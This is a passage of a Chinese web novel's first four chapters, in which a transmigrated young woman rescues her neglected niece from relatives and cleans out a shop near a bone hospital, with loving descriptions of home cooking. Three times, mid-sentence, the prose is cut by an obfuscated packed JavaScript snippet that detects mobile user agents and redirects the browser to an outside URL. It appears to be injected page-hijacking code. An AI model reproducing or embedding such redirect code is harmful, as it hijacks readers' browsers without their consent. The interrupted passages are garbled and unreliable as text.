《在骨科医院开饭馆[美食]》 1. 1 东城,圣沙村。 冰箱昨夜已经清理过,但今天清扫地板时带起不小的灰,有点洁癖的林阅棠抽出一张纸巾将冰箱下边来回擦干净:“招奶奶,今天多得你帮忙才能那么快把屋子收拾好,要让我一个人来搞估计没个两三天弄不完。” 招奶奶摆摆手:“哎呀,街坊邻居搭把手的事,说这些客气话。” “那您中午饭在我这吃吧,我刚搬回来很多东西都没买齐了,就简单弄个米粉,也没有别的了,您别嫌弃。”林阅棠说着已往厨房走去。 招奶奶刚要推辞,就听厨房传来清脆的剁蒜声,她咽下到嘴边的客套话:"行,那我尝尝你的手艺。" 林阅棠将大蒜拍开,切成细细的沫后放在冷油里用小火慢慢炸香,等蒜蓉快炸成金黄色,就淋入酱油,加一勺盐,滋啦一声,咸香裹着油花在空气中炸开。 招奶奶隔着一段距离都闻见了,她赶紧找了个话题转移开注意力:“小棠,你这屋子真不错,得有七八十平吧,朝向也好,南北通透,这太阳照进来真舒服,你把它空置大半年真可惜,虽然咱们这里离地铁站远,但你这上下三层一起出租的话,一个月至少也能收个一两千块。” “我姐出事后我有想过租出去的,但一直没找到合适的租客,再加上我忙着毕业的事,就耽误了。” “唉,你姐也是个可怜的,好好的人,快过年了突然就没了,跟中邪一样……你们家这些年接连出事,真是太怪了……”招奶奶压低声音,话说到一半,于心不忍地摇摇头,“会不会祖坟那边出什么问题,要不请个懂的人去看看?” “到时候再说吧。”林阅棠将炒出香味的酱汁倒在泡软的细米粉上,将米粉搅拌开,让每一根米粉都均匀染上油亮的酱汁。 林阅棠昨晚熟悉周围环境时在菜市场买了梅花肉,用生抽、胡椒粉还有糖、食用油腌制了一晚上,她将肉一片片铺在细米粉上面,再放到锅上蒸。 灶台跳跃的火焰映在林阅棠漆黑的瞳孔里,将她的思绪燃烧得有点飘。 ——林家出事其实不是因为祖坟风水,而是因为小说的设定。 这个世界是她看过的一篇甜宠文,男女主是自小认识的青梅竹马,里面的女配叫林卿宝,在小说里,林卿宝的祖父母车祸离世,父亲因公殉职,母亲抑郁症跳河,小姨刚刚毕业就猝死,林卿宝被姑外婆养大。 她寄人篱下,没受过细心的照料,她像个不见光的透明人一样生活着,老旧的书包从二年级用到初三;脚上的鞋子永远是班上最土最破的;没有自己单独的房间,唯一的床铺也很小,有一头还是用箱子搭起来的,高中暑假回家要把上面的东西搬到床底收拾好才有地方睡觉。她缺爱她的家人,缺关心,缺照顾,所以在得到男主送的一颗巧克力糖后就喜欢上男主,为了拆散男女主做出许多错事,下场十分悲惨唏嘘。 而就在昨天,林阅棠穿了过来,穿到猝死的原主身体里,变成林卿宝的小姨。在消化完所有信息后,林阅棠当机立断辞职回到家乡,不然她真担心剧情之神会坚持不懈给她创造一个工作猝死的结局。 周围温度攀升的变化让从小就学厨艺的林阅棠从走神中惊醒,她看了看火候跟蒸汽状态,确定蒸米粉已经熟了,就把火关上,撒上一把翠绿色的葱花,盛出两碗蒸米粉端到客厅。 “哇你做的蒸米粉很香啊。”招奶奶眼睛都要挪不开了,蒸米粉她自己也弄过,做出来可没有这味道。 等蒸米粉放到自己面前,招奶奶才发现,岂止味道不一样,卖相也是天差地别。 刚蒸熟的米粉还冒着白雾,大片细薄猪肉平铺在上面泛起油光,有些肉片还渗出肉汁,米粉根根分明,色泽晶莹诱人。 成片的梅头肉瘦中带肥,有嚼劲但不柴,蒸米粉吸收完猪肉的肉汁,清香中含着荤味,葱花更是点睛之笔,不但卖相好看,还提了鲜味,让酱香浓浓的蒸米粉吃着不腻。 “好吃,比我做得香多了,不……比外面那些饭店里做的都要香,你这米粉够味,又不会太咸,我就把控不好这个量。”招奶奶说话的时候都不舍得停下筷子。 林阅棠说:“您下次可以提前把泡好的米线用炒香的蒜蓉酱油腌一下,再加点食用油,蒸出来的味道均匀,还不用担心黏成一团。” “对对对,我之前蒸的米粉还会结成的一块块不散开,里面都是没味道的,下次就按照你说的试试看。”招奶奶一口气吃完剩下的蒸米粉,心满意足。 “您把碗放那,我来洗就行。”林阅棠好也吃完了,抢在招奶奶面前,快手快脚将两副碗筷洗干净。 这时,阳台方向传来一阵激烈吵闹声。 房子一楼是店铺,原主姐姐在去年租给一对夫妻做餐饮,这会儿男老板正在跟一位骑着电动车经过的年轻人吵架。 年轻人身上都是湿漉漉的:“你们怎么能就这样把脏水泼出来呢?” 男老板不甘示弱:“这是我们店门口,谁让你骑车经过的?” 年轻人:“唉,你这人怎么这样?这条路两米宽呢,都是你家的?” …… 招奶奶纠结了一下,还是讲了:“你楼下租客的人品不太行,他不是头一回乱倒水了,把路都弄臭了,跟他讲过好几次都不听,街坊都有意见了。” 林阅棠想起自己昨天回来看了一眼店里环境确实脏兮兮的,楼上的房子没能出租成功,也是因为楼下这家餐饮店味道太大:“我到时候说说他。” 招奶奶又问:“你租给他们多少钱?” 林阅棠:“一千八,刚开始我姐说两千块,他说村里其他店面只要一千五,最后就降了两百块。” 招奶奶唉哟一声:“傻姑娘,你们这里店面大,而且在村尾靠外面路边的位置,出去就是医院,你知道医院前面那些卖医疗器材跟做餐食的租多少钱吗?最少都是三千的,医院直对面那家六千块一个月,听说今年还要升。” 第三骨科医院是全市最好的骨科医院,人流量很多。 林阅棠笑了笑:“我们这离得远。” 虽然手机地图上显示店铺到医院只有不到两百米的距离,但她们在医院后面,没对着大门,还隔着一个红绿灯,而且幼儿园、高中、还有公交站跟一座商场都在医院另一头,这边确实清冷许多。 招奶奶跟林阅棠的外婆本来就是好友,现在吃了林阅棠做的蒸米粉,更是真心真意为她打算:“我记得租期快到了吧,如果他要续约你就涨回两千,他要是不愿意,我认识一个中介,让他免费帮忙挂一下,你这地方定两千元也不愁租,你们年纪轻轻就是没经验。” 林阅棠点点头:“谢谢招奶奶,我帮你把纸皮抬回去吧,你一个人拿不了那么多的。” 林阅棠早上把纸皮拿下楼,正好遇见招奶奶,招奶奶问她要纸皮,林阅棠说楼上还有很多都可以免费给她,招奶奶就上楼帮林阅棠一起收拾了屋子,还聊了很多以前跟林阅棠外婆的趣事。 招奶奶的家离得不远,走过一栋无人居住的小平房就到了,招奶奶翻出钥匙,把一楼杂物间的小门打开。 林阅棠放下纸皮,想跟租客说说别乱倒水的事,回去看他们已经关了铁门,只留下一地油汪汪的脏污水。 林阅棠蹙眉,走回二楼抬了桶清水下来冲干净,然后打了一辆车。 现在是下班高峰期,三十多公里的路开了一个多小时,到达目的地时已经快要晚上七点。 林阅棠买了些水果,仔细地回忆后,走进一处老小区的三楼敲门。 在门开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072302|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刹那,林阅棠听见客厅方向传来的笑声——“来来来,这些零食牛奶都是奶奶留给佑佑的,男孩子就得多吃点。” 开门的女人用鲨鱼夹乱乱地扎起了头发,林阅棠把自己的注意力从那声音拉回来,脑海飞速转动,最后试探性地说:“表嫂?” 女人唉了一声。 客厅声音的主人周桂叶,也就是林阅棠的姑姑,走了出来:“小棠,你怎么来了,快进屋,你们公司放假呀?” 林阅棠走进去放下水果:“姑姑,我辞职了,昨天回的东城。” “怎么辞职了?”周桂叶惊讶。 “就是不想干了,”林阅棠往右挪了一步,避开在客厅手握盐焗鸡腿尖叫着滑铲过来的男孩,“宝宝呢?在屋里吗?” 周桂叶:“还在幼儿园,正要去接她。” 林阅棠看一眼手机时间:“幼儿园放学那么晚?” 表嫂尴尬一笑,连忙说道:“今天是这学期最后一天,学校都会有表演,佑佑以前上幼儿园也是这样拖很晚。” 林阅棠:“那我跟姑姑一起去接她吧。” 周桂叶拿着钥匙,边下楼梯边说她:“不想干就辞职,你们现在的年轻人这些想法可不行,一点苦都吃不了。” 林阅棠用微笑应对。 出小区门,过两条马路,此时天色已经有点黑了,超市用喇叭放出七点打八点八折的宣传语,隔壁就是幼儿园,幼儿园教室的门都已经关上,连老师都走完了,只有保安室的灯亮着,有一道小小的身影安静地坐在台阶上,一动也不动的,像一颗无人注意的小蘑菇。 林阅棠的心脏狠狠扎了一下。 保安喊了一声卿宝,然后拉开门,稀奇道:“卿宝姑婆今天不抢完打折菜才来接孩子啊?” 说完,保安又上下打量林阅棠:“你是卿宝的妈妈?姐姐?还是什么亲戚?你们家里人也真是不负责任,幼儿园四点半就放学,你们天天让小孩自己在这里等两个多小时。” 周桂叶:“家里无聊,在幼儿园她还能多玩会儿呢。” 保安:“其他小朋友五点多就全走了,谁陪她玩?” 周桂叶:“这不是还有滑滑梯吗?小孩最喜欢玩滑滑梯的。” 保安脸上露出无语的表情,从家到幼儿园也不算多远,就是不乐意多走一趟,非要等到超市开始打折她才来买菜顺便接孩子,他平时跟周桂叶说得嘴巴都算酸了,人家就是不改,今天要不是看多了个新面孔,他才懒得又讲这些。 林阅棠蹲下来跟小姑娘平行:“宝宝,记不记得小姨?” 小卿宝长相随了林家人,非常标致可爱,照片放网上下面一堆评论绝对都是说能当童模的。 可惜就是瘦了点,气色也不好,原本的长头发被剪成狗啃一样的短发。 小姑娘小声地喊了一句小姨,又抬头喊姑婆,声音哑哑的。 林阅棠摸她冰冷的手,心疼道:“饿了吧,我们去买东西吃。” 隔壁有面包店,林阅棠挑了几款面包,结账的时候周桂叶挤到前面:“我来,你每个月给我的钱正好还剩了点,既然是宝宝要吃的,用这个钱付就行了。” 这钱是托周桂叶照顾林卿宝的费用。 原主姐姐抑郁症躯体化,生活都不能自理,不小心让自己和小卿宝燃气中毒,内疚到崩溃,意识到自己一个病人根本不能照顾好孩子,原主又在上大学,所以就想找全托幼儿园帮忙照顾小卿宝,当时找到一家一个月两千块的,因为刚好就在周桂叶家这边,就想让她帮忙看看靠不靠谱。 周桂叶一听,就说不如把两千块给她,她来照顾小卿宝好了。 原主姐姐也觉得亲戚确实要比幼儿园靠谱,又每个月多加八百块,托周桂叶照顾小卿宝。 2. 2 幼儿园的书包不重,林阅棠还是帮小卿宝拎着。 回到家,表嫂脸上堆满笑:“宝宝回来啦,来,舅妈给你开包糖吃。” “我也要吃糖!”正在沙发看电视的佑佑蹬腿,看见小卿宝手里的胡萝卜面包,又喊道,“面包!妈!奶奶!我要吃面包!” 表嫂拍了他一下:“那是你妹妹的。” 佑佑滑到地板滚来滚去:“我就要,我想吃!” “你们兄妹俩分着吃。” 周桂叶伸手要拿小卿宝的胡萝卜面包,林阅棠直接把手里的袋子塞过去,周桂叶只好从里面拿出一颗肉松小贝给佑佑。 佑佑却惦记胡萝卜面包:“我要吃那根长的!” 说完,他朝小卿宝扑去想要抢胡萝卜面包,小卿宝脸色一白,习惯性就要把面包递出去,这时,林阅棠站到小卿宝面前,挡住两个孩子:“长面包是妹妹的,你吃其他的吧。” 佑佑张嘴就要闹,却发现面前的林阅棠正低着头瞪着自己。 向来被家里人惯着哄的他一下忘记哭闹,呆呆地愣住。 周桂叶又说:“小棠今天留下来吃饭吧。” 林阅棠:“不了,我准备带宝宝回去,得早点走,不然太晚不安全。” 表嫂:“你要带宝宝走吗?” 小卿宝怯生生地抬起头。 林阅棠点头:“嗯,我未来会待在东城,就住我外婆留下的房子,房租也不用交,店面还能出租,我自己照顾宝宝没问题的。” “这样啊……”表嫂不自在一笑,又去看周桂叶。 周桂叶摘菜叶子的手也停住了:“你一个人能行?你又没带过孩子。” 林阅棠:“总要有第一次,老麻烦你们我也不好意思。” 周桂叶不悦:“一家人哪有什么麻烦不麻烦的。” 可是看林阅棠已经下定决心的样子,也不好再说什么:“那把宝宝的东西收拾一下吧。” 经过一个房间,林阅棠看一眼里面:“这里是宝宝的房间吗?” 周桂叶:“不是,这是佑佑的屋。” 林阅棠:“哦,我看屋里的玩具跟书本挺像我以前买给宝宝的。” 表嫂讪讪一笑:“是宝宝的,两个小孩平时喜欢一起玩,佑佑也会把自己的玩具给宝宝玩的,我现在去给你们整理出来吧。” 林阅棠看那些书跟玩具都被糟蹋得破破烂烂:“不用了,你们留着吧。” 都说小孩子的东西多能顶半个家,但小卿宝的行李却很少,厚的外套只剩两件,都是以前拿过来的,薄的衣服才一小袋子。 周桂叶就送到自家门口看着她们下楼:“路上小心点,注意安全。” 门关上后,她注意到儿媳妇欲言又止的样子。 “妈,小棠她是不是觉得我们亏待宝宝。” 周桂叶:“你乱讲什么?有吃有喝有穿的叫亏待?宝宝来了之后我们天天加餐对她还不好?” 表嫂心虚,幼儿园的学费都是林阅棠她们交的,两千八是日常生活的费用,所以小卿宝来了之后家里确实肉菜都多了,但上桌的牛羊虾蟹大多数都进了佑佑肚子,小卿宝抢不过,她看在眼里,也只是随口对宝宝说两句你也要多吃肉,让自己显得没那么偏心。 周桂叶一边摘菜一边说:“她一个刚大学毕业的姑娘哪里会照顾小孩,连菜都不会做吧,宝宝跟着她估计只能吃外卖,可怜哟。” 等林阅棠跟小卿宝回到圣沙村已经快要晚上九点多。 小卿宝今天真是累坏了,在路上就靠椅背睡着了,但车一停又立刻醒了,听见林阅棠开车门的声音,眼睛还迷迷糊糊没完全睁开呢,就扛着睡意要紧跟着林阅棠,生怕自己被丢下来。 这是极为没安全感的表现。 林阅棠心疼地抱起她,正要上楼,又听小卿宝肚子传来咕噜噜的声音。 小卿宝尴尬又拘谨地捂住自己的肚子。 林阅棠单手刮了一下她鼻子:“饿啦?小姨给你煮东西吃好不好?” 小卿宝轻轻地点头。 林阅棠想起家里什么食材都没有,又抱着小卿宝走去菜市场。 路上,林阅棠看着小卿宝要睡不睡的样子很想笑,将她总是一点一点的小脑袋扶到自己肩膀上。 小卿宝曾经是全家人的宝,原主那么拼命工作,也是希望能多攒点钱将小卿宝接到自己身边好好照顾她。 现在原主不在了,但林阅棠会努力实现原主的愿望。 “靠着小姨眯一下吧,你记不记得你小时候,小姨也是这样抱着你睡觉的?” 过了一会儿,林阅棠感觉到一双小手依赖地搂住自己肩膀,热热的、软乎乎的,像一只感受到安全感的小考拉,小卿宝的嗓音带着奶气:“嗯~宝宝记得。” 村里只有几栋房子建有五六层高用来出租,其他都是较矮的楼房,住民也是年纪大的居多,所以这一会儿很多都睡了。村里很安静,顺着大路一直走,十多分钟就到了村头对面的农贸市场。 这个点市场很多店都关了,剩下的店主也都在收尾,林阅棠逛了一圈,挑了点看着还行的食材,回家后就将买到的猪肉切成条腌上。 林阅棠往锅里倒油加热,又把番茄跟青菜洗干净,番茄切开两半,一半切块,一半剁成泥。 她在油热之后煎了两个金黄的荷包蛋,也不着急盛出来,直接往里倒一碗泡过米粉的热水,锅里的汤逐渐变成奶白色,散发出油汪汪的蛋香味。 本来在沙发上睡着的小卿宝一下就睁开眼睛,抱着小毯子眼巴巴往厨房方向瞧。 林阅棠将番茄泥跟番茄块下进锅里搅开,加点盐和糖调好味道,把泡软的米粉跟切碎的青菜放锅里加上盖子煮一会儿。 另一个灶头也架起铁锅,林阅棠将肉条裹上淀粉糊放在锅里炸,然后拿了两个碗把汤米粉盛出来,正要叫醒小卿宝,回头一看,小姑娘已经醒了,正馋得狂吞口水呢。 “来洗手吃东西。” 小卿宝抱着凳子哒哒哒跑过来,垫着站上面,洗了手,然后拿了筷子,又自觉地分了两趟把两份汤米粉都端到餐桌上。 林阅棠将炸好的小酥肉用漏勺捞起来,看见小卿宝在餐桌上乖乖等她的样子,又欣慰又心疼:“快吃吧。” 小卿宝的筷子用得很好,不需要林阅棠帮忙,自己就夹起一大筷子米粉,鼓起嘴巴吹了吹,等没那么烫了就把米粉吃进嘴里。 林阅棠煮的米粉软而不糊,面汤也很香。 鸡蛋煎得边缘煎得脆脆的,嫩嫩的,蛋白跟香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072303|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糯的蛋黄泡过酸酸甜甜的番茄汤后别有风味,小卿宝吃得脸颊鼓鼓,短短的额发都被汗打湿了。 林阅棠给她擦了额头,又将风扇调高一点,笑着说:“慢点吃,你害怕小姨跟你抢啊?” 小卿宝咀嚼的动作一顿,抬起黑白分明的大眼睛,说了跟林阅棠见面以来最长的一句话:“小姨不用抢的,宝宝都给小姨吃。” 小姑娘非常认真的眼神加上稚嫩的嗓音简直让人心尖萌化。 小卿宝不只是说说而已,她真以为林阅棠想吃她碗里的,还想要给林阅棠夹过去,结果自己捞半天什么都没有捞起来,因为全都被她吃完了。 她真的太饿了,下午到现在就吃了一根胡萝卜面包。小孩子都不爱吃青菜,但小卿宝连碗里的青菜都吃得干干净净。 小卿宝有些无措:“小姨做的粉粉太好吃,我全吃完了,我吃太多了。” 林阅棠:“没事啊,不够小姨再给你煮。” 小卿宝好像做错事一样:“姑婆说了,大一点的人吃多一点,小一点的人吃少点,佑佑哥哥长得高,所以他要多吃点,宝宝长得矮,不能吃那么多的。” 林阅棠呼吸一重,这什么歪理! “佑佑哥哥长得高是因为吃得多,你也要多吃点才能长高高,等宝宝长高了,就能吃更多好吃了。” 是这样嘛?小卿宝歪着小脑袋,一副在思考的样子。 林阅棠把小酥肉夹到她碗里:“尝尝这个。”小酥肉炸得金黄酥脆,放在汤里泡软一点给小孩子吃再适合不过。 小酥肉吸收了汤汁,外面一层变得有些软绵,但香味不减,口感更丰富,还不油腻。 “小姨做的肉肉好吃,比炸鸡腿还要香。”小姑娘吃了大半盘子的小酥肉,肚子都圆滚滚了,她也不像其他小孩吃饱了就跑开,反而帮忙将碗筷收到厨房里。 林阅棠洗好碗,又将大阳台上晾晒的被子收进来,帮小卿宝铺好床单。 小卿宝指着上面的图案:“是向日葵小花花!” 林阅棠:“对啊,是小姨给你选的,喜欢吗?” 小卿宝眼睛亮亮的,点头:“喜欢,谢谢小姨!” 屋里还有几本小卿宝以前爱看的故事画册,林阅棠让她自己挑着看,她在一边的沙发上坐下,打开手机翻出各个账户上的余额开始算账。 原主姐夫的赔偿款已经全部被花完了,原主一直有做兼职,但在原主姐姐去世后,就轮到她给周桂叶转小卿宝的抚养费,除去店铺每个月一千八的房租收款,剩下的一千块都是用原主的兼职工资贴上去的,所以原主留下来的钱也不多,只剩下三千两百六十七,有零有整。 这个世界发展跟林阅棠原来的世界差不多,不过林阅棠穿越前是在2025年,而现在是2017年,但现在幼儿园一学期的学费加伙食费也要五六千,得再收两个月房租才能勉强够,可她们总不能不吃不喝吧。 算到这里,林阅棠觉得压力不小,她长长呼出一口气,放下手机,起身去看看小卿宝。 小姑娘这会儿睡得很香,林阅棠帮她把被子盖好,看见她怀里抱着一张全家福相框。 上面有外公外婆,有爸爸妈妈,还有小姨跟两岁的小卿宝。 大家都笑得很开心很幸福。 3. 3 林阅棠第二天起得很早,她步行去菜市场。 这个菜市场非常大,种类齐全,有些档口还搞批发,所以价格也便宜,很多老人家都会一大早拉着辆小拖车来这里买菜。 林阅棠走进市场一眼就看见菜筐里的韭菜水灵灵的,又脆又绿非常挺,看着就漂亮。 “老板,韭菜怎么卖?”林阅棠抓起一小把闻了闻,韭菜叶香味很浓,也没有腐烂的味道,一看就是新鲜摘下来的,上面还有露水。 “三块钱一斤。”老板看了一眼。 林阅棠称了五块钱韭菜,又挑了两根饱满的玉米,往前一点是卖猪肉的地方,一排档口挂满新鲜的猪肉,还有几头刚被宰杀好的猪摆在案板上没来得及分,其中一间档口摆着的梅花肉特别漂亮。 林阅棠本来想全买回去做饺子的,但是梅花肉价格比较贵,现在存款不多的她只能退而其次选了前猪腿肉。 花了钱,林阅棠要找工作的心情更加急切了。 她走回村子,看见楼下那对夫妻也开门了,就走过去跟他们说不要把脏水乱泼,要注意一下卫生。 男老板抽着烟,用脏抹布把一个碗擦了擦,就用来放切好的葱花:“干饭店的都是这样,行吧行吧,我们下次注意点。” 林阅棠看这样子就知道他没听进去,有点生气,准备回去看看出租合同什么时候能让他们走。 她刚转身,女老板冲着男老板使了个眼色,男老板又叫住了林阅棠,说:“对了靓女,明天租期就到了,我们是打算继续租的,不过你看看这个租金能不能再降一点?” 明天就到期?林阅棠挑眉,她说:“租金已经很便宜了。” 男老板跟老油条一样:“现在生意难做啊,你这地方也不是很好。” 林阅棠摇头:“这店铺我以后不出租了,既然明天租期就结束,那你们尽快搬出去吧。”说完,她头也不回上了楼,只剩下夫妻两人在面面相觑。 其实这个店铺地理位置挺不错的,虽然在医院后面,但前面就有个公交站,到医院下来的、去地铁站的都要在这里乘车,而且他们还能做外卖,房租也便宜。 只不过夫妻两人看着林阅棠比原来的房东年纪更小,温温柔柔很好说话的样子,所以起了再忽悠她降降房租的歪心思。 没想到林阅棠居然一点商量的余地都没有,直接让他们搬出去! 二楼。 林阅棠刚进门,就听见一阵轻轻的抽泣声,她连忙叫道:“宝宝?” 沙发后边的小身影放下手上的相框,直直地朝着林阅棠扑了过去,声音带着哭腔:“小姨,小姨……” 林阅棠心疼地拍抚她的背:“对不起宝宝,小姨看你在睡觉就没叫醒你,下次小姨要出门都跟你说一声好不好?” 这孩子小小年纪就几经波折,内心肯定很敏感,总害怕自己会被抛弃。 小卿宝紧抱住林阅棠,仿佛这样才能感觉到踏实,她大眼睛含着两包泪,红彤彤的鼻子看着可怜兮兮,摇了摇头:“小姨没错,只是宝宝太想小姨了,很想很想,想得眼泪都跑出来了。” 林阅棠给她看自己手里的东西:“小姨给宝宝做饺子吃吧,有韭菜饺跟玉米饺哦。” 小卿宝重重点头,两只小手胡乱擦了擦脸:“嗯,宝宝也来帮忙剥玉米!” 林阅棠看她小花猫一样的脸忍俊不禁,用纸巾把她的泪痕擦干净,这才将玉米掰开两截递给她。 小卿宝抱着玉米就像成年人抱西瓜一样,她把玉米放在自己的腿腿上,认认真真把剥下来的玉米粒放在干净的碟子里。 林阅棠觉得这样的小孩就是要表扬:“宝宝剥的玉米好完整,真厉害!” 小姑娘不好意思地低下头,脸蛋像个红红的苹果。 林阅棠笑了笑,将肉沫和韭菜段搅拌加盐调味,她还用手指捏了一点点食用碱加在韭菜碎里,这样下锅后猪肉韭菜饺就不会发黄发苦,会保持新鲜的绿色。 菜市场的饺子铺有卖饺子皮的,但林阅棠看了看,还是没买,因为那饺子皮看着就不好吃,所以她另外买了面粉,按比例加了水和盐揉成面团,静置一段时间后擀出来的饺子皮又光滑又有韧性。 小卿宝还将脑袋凑过去闻饺子皮,馋得舔了一下嘴巴:“这个面皮闻着好香香啊。” “小姨教你包饺子吧,对,就这样把馅料放在饺子皮里,然后将这个皮边缘捏起来。”林阅棠坐在小卿宝身后,手把手教她。 很快,小卿宝手上就出现一颗像模像样的饺子。 “第一次包饺子就弄得那么好看,我们宝宝可真聪明。”林阅棠含笑着,手上包饺子的动作也加快起来。 小卿宝被夸得动力满满,哼次哼次地包起第二个饺子。 林阅棠在饺子滚开后特意把小卿宝自己包的饺子盛到她碗里:“宝宝来尝尝自己做的饺子。” 小卿宝用勺子挖起一颗玉米饺子,她吹了吹,啊呜一大口,眼睛亮亮地说:“好吃~” 林阅棠拿起盛着饺子的保温饭盒:“你慢慢吃,我把这些饺子拿去给隔壁的招奶奶尝尝。” 招奶奶这会儿也正准备煮点东西吃呢,听见敲门声走出来开门。 “招奶奶,我自己做了些饺子,但一下吃不完,你要是不嫌弃的话可以试一下。” 招奶奶受宠若惊:“这,这怎么好意思呢。” 林阅棠笑道:“您别客气,而且我刚搬回来,以后肯定有很多要麻烦您的地方呢。” “行,那我收下了,以后有什么事要搭把手你就找我,”招奶奶也不再客套推辞了,她接过保温盒饭打开看了看,“你这个饺子自己包的?真漂亮,我还以为菜市场卖的,你手艺真可以啊,做什么都那么香,我去找个碗装起来,你进来坐坐。” 招奶奶把饺子倒出来,将保温饭盒洗干净了还给林阅棠。 林阅棠也不打算久留:“招奶奶,宝宝还在等我呢,我就先回去了。” 招奶奶惊喜道:“宝宝也回来了啦?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072304|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,我先走啦。”林阅棠点点头离开了。 招奶奶看了一眼碗里的饺子,只觉得格外饱满诱人,她连忙回厨房把要解冻的猪肉收回冰箱。 她早上不想自己做汤粉了,就想尝尝小棠做的那个饺子! 这时,一个穿着警服的年轻人开门进来:“奶奶,我回来了。” 陈星刚上完夜班回家,一下就被餐桌上的饺子吸引。饱满的半透明饺子皮透出内里的嫩黄与翠绿色泽,他夹起玉米猪肉馅的饺子咬一口,清甜的玉米香跟弹牙的猪肉馅香瞬间在他嘴巴里弥漫开,饺子皮也格外美味劲道,他感觉一身的劳累都消散不少:“奶奶,你这个饺子在哪里买的?” 招奶奶听见他的声音,另外拿了一副新的碗筷从厨房出来:“前面你林奶奶家的孙女自己做的,好吃吧?” 陈星激动得竖起大拇指连连点赞:“比外面买的还要好吃!” 招奶奶尝了个韭菜猪肉馅的,咬破外皮的瞬间汁水漫过舌尖,韭菜的辛香跟猪肉的脂香融合得恰到好处,她同样是赞不绝口。 - 今天是一楼店铺租约到期的日子,林阅棠把合同翻出来了,准备去收钥匙,下楼却见餐馆还在继续营业。 男老板看见她,把嘴里的烟一吐:“店里东西多搬来搬去麻烦,我们亏点就亏点,就按照原来的价格继续租算了。” 林阅棠摇摇头:“原来的价格已经到期了,你们要是还想租,那就是四千块一个月。” 男老板啪地一下扔掉锅:“你不如去抢钱!就欺负我们这些老实人是吧?!” 女老板连忙过来打圆场:“靓女,我们也不容易的……” “你是林阅棠吧?”陈星刚好从路边经过,打量了林阅棠一会儿,猛地把手里的东西递出去,“这是我奶奶让我拿来送你的,谢谢你昨天送的饺子。” 林阅棠看着几乎是怼到自己面前的礼品袋,只好道:“招奶奶喜欢吃就好,那这个我先收下了,改日再上门谢她。” 陈星又看了看她身后:“需要我帮忙吗?” 林阅棠看陈星是个警察,现在还不至于到要报警的地步:“我应该可以解决的。” 陈星点点头:“行,我就在前面派出所上班,你有什么事吱个声就好。” 陈星离开后,本来想要黑脸白脸齐唱赖着不走的夫妻两人一看林阅棠和警察那么熟,也不敢再闹事了,一个下午的时间就老老实实把把东西都搬干净了。 店里有一面墙被烟熏黑了,林阅棠本来想找师傅来刷白的,一打听工费要两千块,还是决定自己买漆回来刷。 她赶在天黑之前把店铺里的垃圾全部清空,第二日一早就问招奶奶借了电动车。 林阅棠向后再三嘱咐:“一定要牢牢抓紧小姨哦。” 小卿宝小脸蛋用力板着,两只手紧紧攥住林阅棠的衣服:“嗯~!” 到了建材市场,林阅棠在老板推荐下,买了几桶环保等级比较高、没有甲醛的乳胶漆。 4. 4 市场外面支着一排墨绿色军用帐篷搭建的早餐摊,蒸腾的热气在晨光中氤氲出浓浓的生活气。 林阅棠问小卿宝想吃什么,小家伙想了想,伸手指了指呼呼呼直冒白烟的一家店:“那个。”看起来好像是卖棉花糖的呢! 其实那是家卖肠粉的,林阅棠拉着她进去点了两份肉片肠。 林阅棠是个孤儿,是四位退休后结伴在村子山庄养老的国宴大厨收养了她,又觉得她在厨艺方面天赋很好,所以四位师傅教了她很多东西。 林阅棠不但厨艺好,她嘴巴也刁,一口就尝出这肠粉有很多可以改进的地方。 肠粉皮太厚,猪肉不够嫩,还带有一点腥味,这个酱油也调得不够香。 小卿宝也小小声说:“我觉得这个没有小姨煮的面面好吃。” 林阅棠笑了笑,看一眼外面在排队的客人,这家店居然还有不少的客流,自己的手艺绝对不比这个差,那她是不是也能靠卖吃的赚钱? 回到家里,林阅棠一点都没停歇,挽起袖子举着长滚筒将店里墙面先刷一遍,连仓库也没放过。 大概是因为她不仅名字跟原主一样,连身高相貌都极为相似,所以灵魂融合之后,她上辈子锻炼出来的力气也渐渐与身体契合了,不然就原主这个大学毕业生的脆皮体质,这几天的连轴转,早就累倒下。 她刷完墙也不觉得累,又把卷帘门用水清洗一遍。 小卿宝戴着比她脸还要大的口罩,使出吃奶的力气帮忙端盆换水。 卷帘门容易擦伤手,而且没有小卿宝能戴的手套,林阅棠就不让她帮忙擦了,小姑娘水汪汪的大眼睛盛满愧疚:“小姨好辛苦,我太没用了,我帮不上忙。” 林阅棠笑着说:“那宝宝吃饭多吃点,快点长大点就可以多帮小姨了。” 小卿宝一边说一遍比划:“好,等我念一年级了,长那么那么高了,我就可以帮小姨好多事情了。” 在幼儿园小朋友的心里,上了小学就是大孩子,就会变得跟大人一样高了。 